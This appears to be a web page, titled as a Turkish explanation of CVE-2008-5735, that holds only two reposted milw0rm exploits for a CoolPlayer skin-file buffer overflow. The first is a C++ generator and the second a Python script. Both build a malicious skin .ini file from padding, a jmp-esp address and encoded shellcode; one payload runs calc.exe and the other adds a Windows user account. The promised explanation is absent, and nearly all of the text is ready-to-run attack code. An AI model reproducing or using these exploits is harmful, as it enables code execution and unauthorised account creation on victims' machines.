CVE-2008-5735 Nedir ? Türkçe Anlatım

                /*
* CoolPlayer 2.19 (Skin File) Local Buffer Overflow Exploit
*
* Advisory: http://www.bmgsec.com.au/advisory/43/
* Test box: WinXP Pro SP2 English
*
* Code reference is in skin.c, lines 464 - 480
*
* Written and discovered by:
* r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
*/

#include <iostream>
#include <fstream>
#include <cstdlib> //exit

using namespace std;

int main()
{
    //win32_exec -  EXITFUNC=process CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
    //Bad characters: 0x00, 0x0d, 0xf4
    char scode[] =
        "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
        "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
        "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
        "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
        "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
        "\x42\x30\x42\x50\x42\x30\x4b\x58\x45\x34\x4e\x53\x4b\x38\x4e\x57"
        "\x45\x50\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38"
        "\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x48\x46\x33\x4b\x48"
        "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
        "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
        "\x46\x4f\x4b\x53\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x38"
        "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x38\x4e\x30\x4b\x54"
        "\x4b\x38\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58"
        "\x41\x30\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43"
        "\x42\x4c\x46\x36\x4b\x48\x42\x44\x42\x33\x45\x58\x42\x4c\x4a\x47"
        "\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x38\x42\x47\x4e\x31\x4d\x4a"
        "\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x58\x42\x4b"
        "\x42\x50\x42\x50\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x53"
        "\x48\x4f\x42\x46\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
        "\x42\x45\x4a\x46\x50\x47\x4a\x4d\x44\x4e\x43\x37\x4a\x46\x4a\x39"
        "\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46"
        "\x4e\x36\x43\x46\x50\x32\x45\x46\x4a\x37\x45\x46\x42\x30\x5a";

    char buffer[1918];
    char eip[] = "\x27\x38\x03\x7d"; //jmp esp

    cout << "[*] Generating payload\n";
    strcpy(buffer, "[CoolPlayer Skin]\nPlaylistSkin=");

    int i;
    for (i=0; i<1534; i++)
        buffer[31+i] = 'A';

    for (i=0; i<sizeof(eip); i++)
        buffer[1565+i] = eip[i];

    for (i=0; i<sizeof(scode); i++)
        buffer[1569+i] = scode[i];

    ofstream outStream;
    outStream.open("cp.ini");

    outStream << buffer;

    outStream.close();

    cout << "[+] Skin file created.\n";

    return 0;
}

// milw0rm.com [2008-12-21]

                # CoolPlayer (Skin) Buffer Overflow
# maybe all versions are affected  :)
# By:Encrypt3d.M!nd
#
# Orginal Exploit: by r0ut3r
# http://www.milw0rm.com/exploits/7536
#
# i've test it on my box(winxp sp3) and didn't work
# so i've re-wrote the exploit and this is workin
# tested: Windows xp sp3 patched
# version tested:2.17,2.18,2.19
#
# Greetz:-=Mizo=-,L!0n,El Mariachi,MiNi SpIder,GGy,and all my friends
###################################################

chars = "A"*1511

eip = "\x6B\x8C\x49\x7E" #user32.dll jmp esp

header = "[CoolPlayer Skin]\nPlaylistSkin="


# win32_adduser -  PASS=t35t EXITFUNC=seh USER=t35t Size=489
Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x57"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x31\x4b\x38"
"\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x38\x46\x53\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x45\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x34"
"\x4b\x58\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x58"
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x32\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x43\x45\x38\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x38\x42\x37\x4e\x41\x4d\x4a"
"\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x46\x4e\x33\x4f\x35\x41\x33"
"\x48\x4f\x42\x56\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x47"
"\x42\x35\x4a\x36\x42\x4f\x4c\x48\x46\x30\x4f\x55\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x46\x4d\x46"
"\x46\x36\x50\x42\x45\x36\x4a\x37\x45\x56\x42\x52\x4f\x42\x43\x56"
"\x42\x42\x50\x36\x45\x46\x46\x57\x42\x52\x45\x47\x43\x47\x45\x46"
"\x44\x37\x42\x32\x46\x47\x43\x43\x45\x43\x46\x57\x42\x52\x46\x47"
"\x43\x43\x45\x33\x46\x47\x42\x42\x4f\x32\x41\x34\x46\x54\x46\x54"
"\x42\x52\x48\x42\x48\x32\x42\x42\x50\x46\x45\x36\x46\x57\x42\x32"
"\x4e\x36\x4f\x56\x43\x46\x41\x36\x4e\x36\x47\x56\x44\x37\x4f\x36"
"\x45\x37\x42\x37\x42\x32\x41\x44\x46\x46\x4d\x56\x49\x56\x50\x56"
"\x49\x46\x43\x57\x46\x57\x44\x57\x41\x56\x46\x37\x4f\x46\x44\x37"
"\x43\x57\x42\x42\x46\x37\x43\x33\x45\x53\x46\x47\x42\x52\x4f\x52"
"\x41\x54\x46\x34\x46\x34\x42\x50\x5a");

poc = (header+chars+eip+"\x90"*10+shellcode)

file = open('skin.ini','w+')
file.write(poc)
file.close()

# milw0rm.com [2008-12-22]